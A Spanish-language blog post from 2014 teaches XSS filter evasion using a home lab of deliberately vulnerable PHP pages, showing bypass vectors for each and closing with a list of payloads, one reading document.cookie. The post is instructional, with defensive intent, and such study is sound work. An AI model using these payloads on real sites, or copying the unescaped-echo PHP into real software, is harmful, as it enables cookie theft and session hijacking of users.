HACKER ANGELWHITE GALC

lunes, 7 de abril de 2014

Evadiendo Filtros “Anti XSS”

Bueno en esta entrada la idea es explicar como funcionan algunos filtros que usan a la hora de querer prevenir un ataque XSS ( Cross Site Scripting )  se le dieron las siglas de XSS para no confundirlas con CSS  ya que CSS hace referencia a las Hojas de Estilo. Para quienes no sepan que son las Hojas de estilo  en términos claros es todo el entorno gráfico que se le puede dar a una página Web. como los colores, tamaño de los botones, tipo de letra, e.t.c..
Ya teniendo mas claro  el concepto de CSS ahora si pasemos a lo que venimos..


Se considera como una de las vulnerabilidades mas comunes actualmente en aplicaciones web. Por qué puede ser considerada como una vulnerabilidad ? – por medio de un ataque XSS se puede llegar a robar cookies, en las cuales se almacenan los inicio de sesiones y si el login de la web en la cual se ha robado las cookies funciona precisamente con auto logueos por medio de cookies, fácilmente un usuario mal intencionado  podría llegar a  iniciar sesión   en el sitio sin tener acceso a la contraseña de el administrador de la web. Aparte de que se puede llegar a hacer un Floodeo  desde un “simple” ataque XSS y así mismo dejarlo DOWN.
He montado un entorno local, en el cual estoy armando distintos tipos de laboratorios para poder testear las técnicas que se encuentran en internet ( en internet hay de todo solo es saber buscar ), y en esta oportunidad trataremos el tema ya mencionado “XSS”. el laboratorio consta de varios niveles de filtros, en los cuales veremos distintos tipos de vectores de ataque para evadir esos filtros “anti”  XSS ( para las personas que saben de programación, a lo mejor pensarán … ” Vector de ataque  ? se puede atacar con un vector ? pero como ? luego un vector no es donde podemos almacenar valores ? ). La misma duda me surgió y pues investigando un poco mas, me tope con una gran persona como lo es Dedalo y me dijo lo siguiente: “esos vectores que conoces de programación déjalos en arrays que en realidad se llaman arrays ( arreglos ) , y vector es la forma de como atacamos ese filtro que queremos saltar o evadir !! “. (algo así me dijo xD el caso fue que me quedó clarísimo xD)   entonces espero les quede claro este termino.
un ejemplo de un vector de ataque  podría ser el mas que conocido  <script>alert(“xss”)</script>
Caso común :
Código PHP  :
<?php
$var =  $_GET['vuln'];
echo $var
?>
recibimos el valor que se envía desde un formulario por medio del input llamado vuln  vía GET , lo guardamos en nuestra variable  “var”  y tal cual como lo recibe lo imprime.
Para este caso usaremos el vector ya mencionado <script>alert(“r00tc0d3rs”)</script>:


Se puede apreciar en la url el vector de ataque, en este caso no se uso un vector que evadiera un filtro ya que a simple vista no lo hay..

Caso 2 :
Código PHP :
<?php
$var = str_replace (array(‘<script>’, ‘</script>’), ”, $_GET['vuln']);
echo $var
?>
recibimos el valor que se envía desde un formulario por medio del input llamado vuln  vía GET , lo guardamos en nuestra variable  “var”  pasándolo por la función str_replace, lo que hace esta función es que remplaza strings por lo que queramos, en este caso se ha implementado para remplazar las etiquetas “script”  de esta manera <script> </script> todo lo que venga como parámetro y que contenga en su texto esas etiquetas se remplazará en este caso por un espacio.  entonces recibe – limpia – y se imprime
Vector de ataque :  primero verificaremos como funciona  el filtro, para ello probaremos con el mismo del anterior  “<script>alert(“r00tc0d3rs”)</script>”

Como podemos observar nos ha arrojado como resultado
alert(“r00tc0d3rs”)
eso ya nos dice mucho, y pues quiere decir que está limpiando  el string y que en esa limpiada del string se encuentran  <script> y su clausura </script>, entonces buscaremos otro vector de ataque ahora veremos que pasa si ejecutamos :
<body onload=alert(“r00tc0d3rs”) />
estamos mandando  una etiqueta body con un atributo onload o bien lo podemos llamar como un evento de javascript, es decir que cuando ejecute  la etiqueta en este caso <body >  salte un alert  en este caso saltaría r00tc0d3rs… veamos:

Claramente podemos ver el vector de ataque en la url y pues a su misma vez su resultado.
Caso 3 :
Código PHP:
<?php
$var =  $_GET['vuln'];
echo $var;
?>
Cómo podemos apreciar es el mismo código de nuestro caso común, pero ahora el “truco” está en el código HTML, limitándonos la cantidad de caracteres.
Código HTML :
<form  action=”filtro3.php” method=”GET”>
<input type=”text” name=”vuln” maxlength=”10″ >
<input type=”submit” value=”enviar”>
</form>
Tenemos un input tipo texto llamado vuln, que es por donde introduciremos nuestro vector de ataque, pero !! como vemos solo nos permite  10 caracteres como Máximo !! solo queda modificar ese atributo de ese input para que nos deje mandar una consulta con mayor numero de caracteres de tal manera que nos permita introducir un vector de ataque, en este caso  “<script>alert(“r00tc0d3rs”)</script>” o el que se les ocurra…Veamos :
Como podemos ver se ha modificado  el  valor de Maxlength que estaba en 10 y lo hemos puesto en 50, para que nos deje  introducir nuestro vector…
y como resultado….

Caso 4 :
En este caso nos topamos con el típico buscador que todo lo que mandamos como parámetro de búsqueda, nos lo imprime en un input.
Código PHP :
<?php
$var = $_GET['vuln'];
?>
<FORM>
<h2>Resultado de la Busqueda </h2>
<input VALUE=”<?php echo $var; ?>”>
Para quienes comprenden un poco de PHP y HTML pueden ver que se captura y se guarda el valor en la variable “var” y luego se imprime lo que se capturó dentro de un input , quedando de la siguiente manera :

Como se puede observar hemos usado el siguente vector :  <img src=. onerror=alert(/r00tc0ders/)> ….  Ahora si vemos que todo lo que vamos a mandar como parámetro de búsqueda lo pondrá dentro de otro input, solo quedaría ver la manera de saltar  “filtro” , entonces veamos el input en el que se imprime está  declarado de la siguiente manera :
<input VALUE=”<?php echo $var; ?>”>

Que pasaría si como parámetro mandamos  “>;  ?  veamos…
el input quedaría así :
<input VALUE=”">; “>
esto ya nos indica que hemos cerrado nuestro input, ejecutando en adelante lo que ingresemos, en este caso un alert . es decir:
<input VALUE=”">;
<img src=. onerror=alert(/r00tc0d3rs/) > “>
usamos la etiqueta de imagen,  ahora estamos ocasionando un error  ya que indicamos la ubicación de la imagen erróneamente, por eso  hacemos uso del evento de javascript onerror  ya que a la hora de no cumplirse correctamente lo que indicamos salte el alert en este caso saltaría  /r00tc0d3rs/ …. Veamos :


Bueno hasta aquí llega este post, esto lo hacemos con la intención de que cada uno pueda probar si es realmente “seguro”  el método que empleamos en nuestros forms a la hora de mandar consultas.
En internet Podemos encontrar varias maneras de evitar un ataque XSS, podemos implementar el uso de  “magic quotes” , “htmlentities” , “strip_tags” …. Solo es buscar la manera de implementarlos de forma segura. ACLARANDO que el uso de las funciones mencionadas NO asegura  prevenir un ataque XSS por eso hago énfasis en que se debe buscar la manera de implementarlos de una forma segura.
a continuación dejo una lista de  algunos vectores de ataque :
<script>alert(document.cookie)</script>

<body onload=alert(/xss/)>

<img src=x onerror=alert(/xss/)>

<input value=”<body onload=alert(/xss/)>”>

<input value=”"><body onload=alert(/xss/)>”>

<input value=”" onmouseover=”alert(/xss/)”>

“/><script>alert(String.fromCharCode(114,48,48,116,99,48,100,51,114,115))</script>

“><script>document.documentElement.innerHTML=”xss”;</script>
Recuerden lo primordial es ver como funciona el filtro que se haya implementado para luego pensar en construir un vector que nos permita saltearlo.
pdt: si hay errores que alguien por favor me lo diga, no soy perfecto y se me escapan cosas -  cualquier otra información será bien recibida !!!

No hay comentarios:

Publicar un comentario